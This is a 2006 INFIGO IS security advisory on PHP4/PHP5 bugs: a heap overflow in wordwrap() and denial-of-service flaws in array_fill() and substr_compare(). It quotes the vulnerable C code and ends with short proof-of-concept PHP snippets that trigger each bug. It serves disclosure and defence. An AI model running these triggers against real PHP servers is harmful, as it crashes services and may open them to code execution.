INFIGO IS Security Advisory #ADV-2006-04-02 http://www.infigo.hr/ Title: Multiple PHP4/PHP5 vulnerabilities Advisory ID: INFIGO-2006-04-02 Date: 2006-04-24 Advisory URL: http://www.infigo.hr/en/in_focus/advisories/INFIGO-2006-04-02 Impact: Remote code execution and DoS Risk Level: Medium Vulnerability Type: Remote and local Vendors Status: Vendor contacted several times, no official response. Vendor contacted on 2nd Mar 2006 Vendor contacted on 5th Mar 2006 Vendor contacted on 7th Mar 2006 Vendor contacted on 8th Mar 2006 Vendor contacted on 4th Apr 2006 ==[ Overview PHP is widely-used general-purpose scripting language which is especially suited for Web development and can be embedded into HTML. For more information, visit http://www.php.net. ==[ Vulnerabilities Code audit of the PHP discovered more than 20 vulnerabilities in PHP4 and PHP5. Most of them were reported by third parties and fixed before publication of this advisory. However, several vulnerabilities are still present in the latest PHP version. i. PHP4/PHP5 wordwrap() buffer overflow Function wordwrap() wraps a string to the given number of characters using a string break character. There is a buffer overflow (heap) vulnerability in the PHP wordwrap() caused by an integer miscalculation if long strings are passed to the wordwrap() function. With a proper string size, it is possible to allocate a small heap buffer that will be overflowed in the memcpy() function. There are several different ways to make the overflow, and one of them will be described here. In [1] or [2], integer 'alloced' is calculated from user input (text and breakchar) strings length. It is possible to set long strings (about 1 MB) that will wrap around in multiplication and result in small positive integer that will be used in [3] for memory allocation. In [4], user input is copied to the newly allocated buffer 'newtext' that is too short, and will be overflowed in memcpy(). Copy size 'current' will contain string length of the user supplied string 'text'. Vulnerable code php-4.4.2/ext/standard/string.c: -------------------------------------------------------- PHP_FUNCTION(wordwrap) { const char *text, *breakchar = "\n"; char *newtext; int textlen, breakcharlen = 1, newtextlen, alloced, chk; long current = 0, laststart = 0, lastspace = 0; long linelength = 75; zend_bool docut = 0; ... if (linelength > 0) { chk = (int)(textlen/linelength + 1); [1] alloced = textlen + chk * breakcharlen + 1; } else { chk = textlen; [2] alloced = textlen * (breakcharlen + 1) + 1; } if (alloced <= 0) { RETURN_FALSE; } [3] newtext = emalloc(alloced); ... if (laststart != current) { [4] memcpy(newtext+newtextlen, text+laststart, current-laststart); newtextlen += current - laststart; } ... } -------------------------------------------------------- If memory_limit value is high, it is also possible to cause memory DoS attack. ii. PHP4/PHP5 array_fill() DoS condition Function array_fill() fills an array with 'num' entries with the value of the 'value' parameter, keys starting at the 'start_index' parameter. It is possible to set a large 'num' value (counter for while() loop) that will consume whole system memory in a few seconds, and make system unusable. It is important to notice that large memory consumption is possible only on systems that have high value of 'memory_limit' set in php.ini. Vulnerable code php-4.4.2/ext/standard/array.c: -------------------------------------------------------- PHP_FUNCTION(array_fill) { zval **start_key, **num, **val, *newval; long i; ... ... ... convert_to_long_ex(num); i = Z_LVAL_PP(num) - 1; if (i < 0) { zend_hash_destroy(Z_ARRVAL_P(return_value)); efree(Z_ARRVAL_P(return_value)); php_error_docref(NULL TSRMLS_CC, E_WARNING, "Number of elements must be positive"); RETURN_FALSE; } newval = *val; while (i--) { #ifndef ZEND_ENGINE_2 if (newval->refcount >= 62000) { MAKE_STD_ZVAL(newval); *newval = **val; zval_copy_ctor(newval); newval->refcount = 0; } #endif zval_add_ref(&newval); zend_hash_next_index_insert(Z_ARRVAL_P(return_value), &newval, sizeof(zval *), NULL); } } ... -------------------------------------------------------- iii. PHP5 substr_compare() DoS condition This function is used for a binary safe case insensitive comparison of 2 strings from an 'offset', up to the 'length' characters. Lack of sanity check in the function substr_compare() will cause memory access violation exception if 'length' parameter is set to the value that is out of memory bounds, and it is later used in zend_binary_strncmp() and zend_binary_strcasecmp() functions. Vulnerable code php-5.1.2/ext/standard/string.c: ------ PHP_FUNCTION(substr_compare) { ... int s1_len, s2_len; long offset, len=0; zend_bool cs=0; ... cmp_len = (uint) (len ? len : MAX(s2_len, (s1_len - offset))); ... if (!cs) { RETURN_LONG(zend_binary_strncmp(s1 + offset, (s1_len - offset), s2, s2_len, cmp_len)); } else { RETURN_LONG(zend_binary_strncasecmp(s1 + offset, (s1_len - offset), s2, s2_len, cmp_len)); } ... } ------ ==[ Affected Version Latest PHP4 (4.4.2) and PHP5 (5.1.2). ==[ Fix No fix is available after more than 45 days from initial vendor contact. ==[ PoC Exploit i. wordwrap() ------ <? $a = str_repeat ("A",438013); $b = str_repeat ("B",951140); wordwrap ($a,0,$b,0); ?> ------ ii. array_fill() ------ <?array_fill (1,123456789,"Infigo-IS");?> ------ iii. substr_compare() ------ <?substr_compare ("A","A",12345678);?> ------ ==[ Credits Vulnerabilities discovered by Leon Juranic <leon.juranic@xxxxxxxxx>. ==[ INFIGO IS Security Contact INFIGO IS, WWW : http://www.infigo.hr E-mail : infocus@xxxxxxxxx